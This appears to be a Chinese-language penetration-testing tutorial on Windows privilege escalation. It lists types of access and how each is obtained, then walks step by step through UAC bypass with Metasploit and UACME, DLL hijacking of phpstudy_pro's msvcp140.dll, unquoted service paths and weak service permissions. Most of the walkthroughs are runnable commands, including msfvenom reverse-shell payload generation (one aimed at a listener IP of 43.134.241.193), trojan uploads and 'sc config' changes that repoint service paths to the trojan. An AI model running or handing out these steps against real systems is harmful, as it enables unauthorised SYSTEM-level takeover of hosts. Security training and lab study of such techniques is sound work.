权限提升基础信息
1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样
演示:uac提权
前提:已获取目标本地用户权限
使用msf模块提权
1.上传木马反弹shell回来的时候测试一下getsystem,发现无法提权。
2.启动msf,选择UAC绕过模块。
此处测试是针对UAC被设置为高等级的情况,使用的是钓鱼模块,运行后目标主机弹窗,需要目标点击确定才能触发。
建议优先使用其他模块:search uac #搜索uac模块
执行命令:
use exploit/windows/local/ask #使用钓鱼模块
sessions #查看后台进程
set session 1 #选择进程
set lport 5555 #设置监听端口
run #启动
3.再次执行 getsystem 提权命令,成功提权。
4.如果还是无法提权,可以尝试其他uac模块。
使用UACME项目提权
介绍:UACME 是一款专门绕过uac的项目,目前已经支持了77 种绕过 UAC 的方法。支持Windows 7/8/8.1/10/11系统版本,某些方法也适用于服务器版本。
下载:https://github.com/hfiref0x/UACME
使用:下载UACME项目到本地后,使用最新版 Visual Studio 工具对其进行编译,然后将编译好的exe程序上传到目标系统运行即可。
使用命令:Akagi64.exe 绕过方法编号 #程序将从 system32 文件夹执行提权的 cmd.exe
使用命令:Akagi64.exe 绕过方法编号 木马路径 #运行指定的程序
实用编号:23、41、61、62
1.执行:whoami /all 查看当前用户权限,只有如下权限。
2.执行绕过uac程序,使用的是编号62绕过方法,系统是win11。
命令:Akagi64.exe 62
成功唤出弹窗,再次使用 whoami /all 查看权限,发现多出了很多权限。
3.使用命令:Akagi64.exe 62 shell.exe 执行msf木马程序,msf设置监听。
不行就多尝试几种编号。
msf成功接收到shell,执行 getsystem 提权命令,成功提权。
DLL劫持提权
前提:已获取web shell权限
介绍:Windows程序启动的时候需要运行DLL文件,攻击者可以将程序启动时要运行的dll文件替换为同名的恶意脚本文件来提权。
Windows查找DLL文件的顺序如下:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
演示开始:
过程:信息收集-进程调试-制作dll恶意脚本并上传-替换dll文件-启动应用后成功
1.获取目标web shell权限,查看文件,发现存在一个phpstudy_pro程序,应用程序目录下存在dll文件。
2.在本地下载一个 火绒剑-互联网安全分析软件 和目标应用程序:phpstudy_pro。
下载火绒剑:https://github.com/anhkgg/anhkgg-tools
运行phpstudy_pro启动进程,使用火绒剑-互联网安全分析软件查看phpstudy_pro程序进程中运行的dll文件。
一般选择未知文件或者数字签名文件,因为系统文件可能没有权限操作。
发现运行了一个:msvcp140.dll
3.服务器安装一个msf,执行生成dll恶意文件命令。
命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip lport=监听端口 -f dll -o 文件名.dll
4.将应用程序目录下的原生msvcp140.dll文件改名,然后将生成的msvcp140.dll恶意文件上传。
5.启动msf监听,等待目标启动phpstudy_pro应用程序,触发msvcp140.dll恶意文件,反弹shell。
6.接收到反弹shell之后,成功获取到目标管理员用户权限。执行 getsystem 成功将权限提升至system系统权限。
利用"不带引号的服务路径"提权
前提:需要在C盘等目录引用上传权限(如:获取到win本地用户权限)
介绍:当 Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是如果服务的二进制路径未包含在引号中,有空格的目录就会认为是文件加参数 ,则操作系统将会执行服务路径中空格前的第一个实例。
演示开始
过程:检测筛选符合的服务--生成木马并上传--启动服务--自动调用木马
1.执行命令检测当前系统中不带引号的服务路径中有空格的服务路径。
执行命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
2.获取到服务路径空格之前的是program。服务器安装msf,执行命令生成同名木马文件。
命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=43.134.241.193 lport=4444 -f exe > program.exe
3.服务器启动msf,配置和启动监听,等待反弹shell。
4.上传同名的program.exe木马文件到目标C盘根目录。
5.执行命令启动DriverGenius Core Service 服务就会触发木马文件,攻击者直接就获取system权限。
执行命令:sc start "服务名(DriverGenius Core Service)"
成功获取system权限:
利用"不安全的服务权限"提权
介绍:由于管理配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改服务路径指向恶意程序。
1.下载accesschk工具,将accesschk.exe程序上传到目标系统目录,执行命令查看有权限更改服务配置的服务。
下载:https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk
执行命令:accesschk.exe -uwcqv "administrators" * #查看administrators用户下的服务项
服务权限为:SERVICE_ALL_ACCESS或SERVICE_QUERY_CONFIG 的就符合要求,可以更改服务配置。
2.使用msf生成木马程序,将木马上传到目标系统目录。
命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip lport=监听端口-f exe > 木马名.exe
3.启动msf开启监听,等待接收shell。
4.执行命令将指定服务的路径更改为上传木马的路径。
命令:sc config "服务名" binpath="木马绝对路径"
5.然后执行命令启动服务,触发木马程序。
命令:sc start 服务名
6.msf成功接收到shell,执行 getuid 查看权限直接就是system权限